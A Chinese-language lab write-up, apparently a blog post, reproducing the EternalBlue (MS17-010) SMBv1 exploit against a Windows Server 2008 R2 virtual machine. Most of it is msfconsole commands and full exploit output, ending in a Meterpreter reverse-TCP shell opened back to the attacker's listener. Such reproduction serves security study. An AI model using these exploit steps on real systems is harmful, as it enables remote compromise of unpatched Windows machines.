介绍

永恒之蓝漏洞存在于Windows SMB v1协议的处理过程中，具体是在处理SMB v1请求时发生的漏洞。攻击者可以利用该漏洞在目标系统上执行任意代码。通过扫描开放445端口的Windows机器，攻击者可以在无需用户操作的情况下，植入勒索软件、远程控制木马等恶意程序。

编号：CVE-2017-0146

微软漏洞编号：MS17-010

影响范围

Windows XP、 Windows Server 2003. Windows Vista、Windows Server 2008、 Windows 7. Windows Server2008 R2、Windows 8.1、Windows Server 2012. Windows10、Windows Server 2012 R2、Windows Server 2016

原文链接：https://blog.csdn.net/weixin_55811105/article/details/115804701

复现环境搭建

下载 Windows Server2008 R2，https://www.imsdn.cn/windows-server/windows-server-2008-r2/，然后在vmware安装。

复现

msfconsole
search ms17
use exploit/windows/smb/ms17_010_eternalblue
set payload 
set RHOSTS=
set LPORTS=
run/exploit

search ms17
msf6 > use exploit/windows/smb/ms17_010_eternalblue
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target host(s), see https://do
                                             cs.metasploit.com/docs/using-metas
                                             ploit/basics/using-metasploit.html
   RPORT          445              yes       The target port (TCP)
   SMBDomain                       no        (Optional) The Windows domain to u
                                             se for authentication. Only affect
                                             s Windows Server 2008 R2, Windows
                                             7, Windows Embedded Standard 7 tar
                                             get machines.
   SMBPass                         no        (Optional) The password for the sp
                                             ecified username
   SMBUser                         no        (Optional) The username to authent
                                             icate as
   VERIFY_ARCH    true             yes       Check if remote architecture match
                                             es exploit Target. Only affects Wi
                                             ndows Server 2008 R2, Windows 7, W
                                             indows Embedded Standard 7 target
                                             machines.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit
                                              Target. Only affects Windows Serv
                                             er 2008 R2, Windows 7, Windows Emb
                                             edded Standard 7 target machines.

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thre
                                        ad, process, none)
   LHOST     172.16.111.129   yes       The listen address (an interface may be
                                         specified)
   LPORT     4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target



View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 172.16.111.134
RHOSTS => 172.16.111.134
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
[*] Started reverse TCP handler on 172.16.111.129:4444 
[*] 172.16.111.134:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 172.16.111.134:445    - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit)
[*] 172.16.111.134:445    - Scanned 1 of 1 hosts (100% complete)
[+] 172.16.111.134:445 - The target is vulnerable.
[*] 172.16.111.134:445 - Connecting to target for exploitation.
[+] 172.16.111.134:445 - Connection established for exploitation.
[+] 172.16.111.134:445 - Target OS selected valid for OS indicated by SMB reply
[*] 172.16.111.134:445 - CORE raw buffer dump (51 bytes)
[*] 172.16.111.134:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 172.16.111.134:445 - 0x00000010  30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20  008 R2 Standard 
[*] 172.16.111.134:445 - 0x00000020  37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63  7601 Service Pac
[*] 172.16.111.134:445 - 0x00000030  6b 20 31                                         k 1             
[+] 172.16.111.134:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 172.16.111.134:445 - Trying exploit with 12 Groom Allocations.
[*] 172.16.111.134:445 - Sending all but last fragment of exploit packet
[*] 172.16.111.134:445 - Starting non-paged pool grooming
[+] 172.16.111.134:445 - Sending SMBv2 buffers
[+] 172.16.111.134:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 172.16.111.134:445 - Sending final SMBv2 buffers.
[*] 172.16.111.134:445 - Sending last fragment of exploit packet!
[*] 172.16.111.134:445 - Receiving response from exploit packet
[+] 172.16.111.134:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 172.16.111.134:445 - Sending egg to corrupted connection.
[*] 172.16.111.134:445 - Triggering free of corrupted buffer.
[*] Sending stage (203846 bytes) to 172.16.111.134
[+] 172.16.111.134:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.16.111.134:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 172.16.111.134:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[*] Meterpreter session 1 opened (172.16.111.129:4444 -> 172.16.111.134:49178) at 2025-04-19 12:58:14 -0400

meterpreter > help
很多命令可以去使用。。。